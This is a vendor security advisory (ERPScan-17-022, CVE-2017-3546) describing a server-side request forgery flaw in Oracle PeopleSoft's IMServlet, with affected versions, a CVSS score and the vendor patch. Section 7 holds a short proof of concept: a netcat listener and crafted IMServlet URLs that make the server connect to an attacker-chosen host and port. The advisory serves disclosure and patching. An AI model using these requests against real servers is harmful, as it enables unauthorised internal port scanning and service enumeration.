151 lines
No EOL
4.8 KiB
Text
151 lines
No EOL
4.8 KiB
Text
Application: Oracle PeopleSoft
|
||
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
|
||
PeopleSoft HCM 9.2
|
||
Vendor URL: http://oracle.com
|
||
Bugs: SSRF
|
||
Reported: 23.12.2016
|
||
Vendor response: 24.12.2016
|
||
Date of Public Advisory: 18.04.2017
|
||
Reference: Oracle CPU April 2017
|
||
Author: Roman Shalymov (ERPScan)
|
||
|
||
Description
|
||
|
||
1. ADVISORY INFORMATION
|
||
|
||
Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
|
||
Advisory ID: [ERPSCAN-17-022]
|
||
Risk: high
|
||
CVE: CVE-2017-3546
|
||
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
|
||
Date published: 18.04.2017
|
||
Vendors contacted: Oracle
|
||
|
||
|
||
2. VULNERABILITY INFORMATION
|
||
|
||
Class: SSRF
|
||
Impact: cross-site port attack, service enumeration
|
||
Remotely Exploitable: yes
|
||
Locally Exploitable: yes
|
||
|
||
CVSS Information
|
||
|
||
CVSS Base Score v3: 8.0 / 10
|
||
CVSS Base Vector:
|
||
AV : Attack Vector (Related exploit range) Network (N)
|
||
AC : Attack Complexity (Required attack complexity) High (H)
|
||
PR : Privileges Required (Level of privileges needed to exploit) High (H)
|
||
UI : User Interaction (Required user participation) None (N)
|
||
S : Scope (Change in scope due to impact caused to components beyond
|
||
the vulnerable component) Changed (C)
|
||
C : Impact to Confidentiality High (H)
|
||
I : Impact to Integrity High (H)
|
||
A : Impact to Availability High (H)
|
||
|
||
|
||
3. VULNERABILITY DESCRIPTION
|
||
|
||
An attacker can force a vulnerable server to trigger malicious
|
||
requests to third-party servers or to internal resources. This
|
||
vulnerability can then be leveraged to launch specific attacks such as
|
||
a cross-site port attack, service enumeration, and various other
|
||
attacks.
|
||
|
||
4. VULNERABLE PACKAGES
|
||
|
||
ToolsRelease: 8.55.03
|
||
ToolsReleaseDB: 8.55
|
||
PeopleSoft HCM 9.2
|
||
|
||
5. SOLUTIONS AND WORKAROUNDS
|
||
|
||
To correct this vulnerability, implement Oracle CPU April 2017
|
||
|
||
6. AUTHOR
|
||
|
||
Roman Shalymov
|
||
|
||
7. TECHNICAL DESCRIPTION
|
||
|
||
PoC
|
||
|
||
Run netcat
|
||
|
||
1. nc -l -p # on some host
|
||
|
||
In browser open the following links
|
||
|
||
http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT
|
||
|
||
http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"
|
||
|
||
|
||
Read response in netcat
|
||
|
||
GET /?param=var HTTP/1.1
|
||
|
||
User-Agent: Java1.7.0_95
|
||
|
||
Host: SOMEHOST:OPEN_PORT
|
||
|
||
Accept: text/html, image/gif, image/jpeg, /; q=.2
|
||
|
||
Connection: Keep-Alive
|
||
|
||
|
||
8. ABOUT ERPScan Research
|
||
|
||
ERPScan research team specializes in vulnerability research and
|
||
analysis of critical enterprise applications. It was acknowledged
|
||
multiple times by the largest software vendors like SAP, Oracle,
|
||
Microsoft, IBM, VMware, HP for discovering more than 400
|
||
vulnerabilities in their solutions (200 of them just in SAP!).
|
||
|
||
ERPScan researchers are proud of discovering new types of
|
||
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
|
||
Best Server-Side Bug" nomination at BlackHat 2013.
|
||
|
||
ERPScan experts participated as speakers, presenters, and trainers at
|
||
60+ prime international security conferences in 25+ countries across
|
||
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
|
||
trainings for several Fortune 2000 companies.
|
||
|
||
ERPScan researchers carry out the EAS-SEC project that is focused on
|
||
enterprise application security awareness by issuing annual SAP
|
||
security researches.
|
||
|
||
ERPScan experts were interviewed in specialized info-sec resources and
|
||
featured in major media worldwide. Among them there are Reuters,
|
||
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
|
||
Chinabyte, etc.
|
||
|
||
Our team consists of highly-qualified researchers, specialized in
|
||
various fields of cybersecurity (from web application to ICS/SCADA
|
||
systems), gathering their experience to conduct the best SAP security
|
||
research.
|
||
|
||
9. ABOUT ERPScan
|
||
|
||
ERPScan is the most respected and credible Business Application
|
||
Cybersecurity provider. Founded in 2010, the company operates globally
|
||
and enables large Oil and Gas, Financial, Retail and other
|
||
organizations to secure their mission-critical processes. Named as an
|
||
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
|
||
Solution providers” and distinguished by 30+ other awards, ERPScan is
|
||
the leading SAP SE partner in discovering and resolving security
|
||
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
|
||
assist in improving the security of their latest solutions.
|
||
|
||
ERPScan’s primary mission is to close the gap between technical and
|
||
business security, and provide solutions for CISO's to evaluate and
|
||
secure SAP and Oracle ERP systems and business-critical applications
|
||
from both cyberattacks and internal fraud. As a rule, our clients are
|
||
large enterprises, Fortune 2000 companies and MSPs, whose requirements
|
||
are to actively monitor and manage security of vast SAP and Oracle
|
||
landscapes on a global scale.
|
||
|
||
We ‘follow the sun’ and have two hubs, located in Palo Alto and
|
||
Amsterdam, to provide threat intelligence services, continuous support
|
||
and to operate local offices and partner network spanning 20+
|
||
countries around the globe. |